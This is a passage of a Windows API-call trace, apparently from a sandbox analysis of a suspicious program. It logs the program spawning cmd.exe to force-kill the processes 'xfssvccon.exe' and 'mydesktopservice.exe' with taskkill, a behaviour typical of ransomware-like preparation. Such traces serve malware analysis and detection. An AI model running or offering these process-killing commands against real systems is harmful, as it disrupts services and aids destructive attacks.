	[0038.250] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0038.250] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0038.250] GetEnvironmentStringsW () returned 0x7eb348*
	[0038.250] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0038.250] GetCurrentProcess () returned 0xffffffff
	[0038.250] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb8, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238f990, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238f990*=0xbc) returned 1
	[0038.251] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238f994, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238f994*=0xc0) returned 1
	[0038.251] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238f998, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238f998*=0xc4) returned 1
	[0038.251] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im xfssvccon.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x12475c00, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xbc, hStdOutput=0xc0, hStdError=0xc4), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im xfssvccon.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xac, hThread=0xc8, dwProcessId=0x344, dwThreadId=0x244)) returned 1
	[0038.258] CloseHandle (hObject=0xc8) returned 1
	[0038.258] CloseHandle (hObject=0xc4) returned 1
	[0038.258] CloseHandle (hObject=0xc0) returned 1
	[0038.258] CloseHandle (hObject=0xbc) returned 1
	[0038.258] CloseHandle (hObject=0xb8) returned 1
	[0038.258] CloseHandle (hObject=0xb4) returned 1
	[0038.259] CloseHandle (hObject=0xb0) returned 1
	[0038.259] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0xffffffff) returned 0x0
	[0038.639] SetEvent (hEvent=0xa8) returned 1
	[0038.639] GetExitCodeProcess (in: hProcess=0xac, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0038.639] GetProcessTimes (in: hProcess=0xac, lpCreationTime=0x12482720, lpExitTime=0x12482728, lpKernelTime=0x12482730, lpUserTime=0x12482738 | out: lpCreationTime=0x12482720, lpExitTime=0x12482728, lpKernelTime=0x12482730, lpUserTime=0x12482738) returned 1
	[0038.639] CloseHandle (hObject=0xac) returned 1
	[0038.639] SetEvent (hEvent=0x80) returned 1
	[0038.639] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0038.652] SetEvent (hEvent=0x80) returned 1
	[0038.652] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12409040, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0038.653] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fdea8 | out: lpFileInformation=0x123fdea8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.653] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.653] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x123fdef8 | out: lpFileInformation=0x123fdef8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.653] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.653] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fdf48 | out: lpFileInformation=0x123fdf48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.653] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.653] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x123fdf98 | out: lpFileInformation=0x123fdf98*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.654] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.654] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x12496008 | out: lpFileInformation=0x12496008*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.654] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.654] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x12496058 | out: lpFileInformation=0x12496058*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.654] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.654] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x124960a8 | out: lpFileInformation=0x124960a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.654] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.654] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x124960f8 | out: lpFileInformation=0x124960f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.654] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.654] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x12496148 | out: lpFileInformation=0x12496148*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.654] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.654] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x12496198 | out: lpFileInformation=0x12496198*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.655] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.655] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x124961e8 | out: lpFileInformation=0x124961e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.655] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.655] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x12496238 | out: lpFileInformation=0x12496238*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.655] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.655] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x12409110, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0038.655] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12496288 | out: lpFileInformation=0x12496288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0038.655] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124091e0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0038.655] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124962d8 | out: lpFileInformation=0x124962d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0038.655] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac
	[0038.655] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0038.656] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0038.656] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0038.656] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0038.656] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0038.656] GetEnvironmentStringsW () returned 0x7eb348*
	[0038.656] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0038.656] GetCurrentProcess () returned 0xffffffff
	[0038.656] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xac, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249a050, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249a050*=0xb8) returned 1
	[0038.656] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249a054, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249a054*=0xbc) returned 1
	[0038.656] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249a058, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249a058*=0xc0) returned 1
	[0038.657] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im mydesktopservice.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x1243c800, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0xbc, hStdError=0xc0), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im mydesktopservice.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xc8, hThread=0xc4, dwProcessId=0x58c, dwThreadId=0x7e8)) returned 1
	[0038.666] CloseHandle (hObject=0xc4) returned 1
	[0038.666] CloseHandle (hObject=0xc0) returned 1
	[0038.666] CloseHandle (hObject=0xbc) returned 1
	[0038.666] CloseHandle (hObject=0xb8) returned 1
	[0038.666] CloseHandle (hObject=0xac) returned 1
	[0038.666] CloseHandle (hObject=0xb0) returned 1
	[0038.666] CloseHandle (hObject=0xb4) returned 1
	[0038.666] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0
	[0039.083] SetEvent (hEvent=0xa8) returned 1
	[0039.083] GetExitCodeProcess (in: hProcess=0xc8, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0039.083] GetProcessTimes (in: hProcess=0xc8, lpCreationTime=0x1247af60, lpExitTime=0x1247af68, lpKernelTime=0x1247af70, lpUserTime=0x1247af78 | out: lpCreationTime=0x1247af60, lpExitTime=0x1247af68, lpKernelTime=0x1247af70, lpUserTime=0x1247af78) returned 1
	[0039.083] CloseHandle (hObject=0xc8) returned 1
	[0039.083] SetEvent (hEvent=0x80) returned 1
	[0039.084] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0039.094] SetEvent (hEvent=0x80) returned 1
	[0039.094] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12440ea0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0039.094] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12449a48 | out: lpFileInformation=0x12449a48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.094] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0039.094] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x12449a98 | out: lpFileInformation=0x12449a98*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.094] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0039.095] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x12449ae8 | out: lpFileInformation=0x12449ae8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.095] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0039.095] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x12449b38 | out: lpFileInformation=0x12449b38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.095] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0039.095] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x12449b88 | out: lpFileInformation=0x12449b88*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.095] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0039.095] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x12449bd8 | out: lpFileInformation=0x12449bd8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.095] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0039.095] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x12449c28 | out: lpFileInformation=0x12449c28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.095] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0039.095] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x12449c78 | out: lpFileInformation=0x12449c78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.095] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
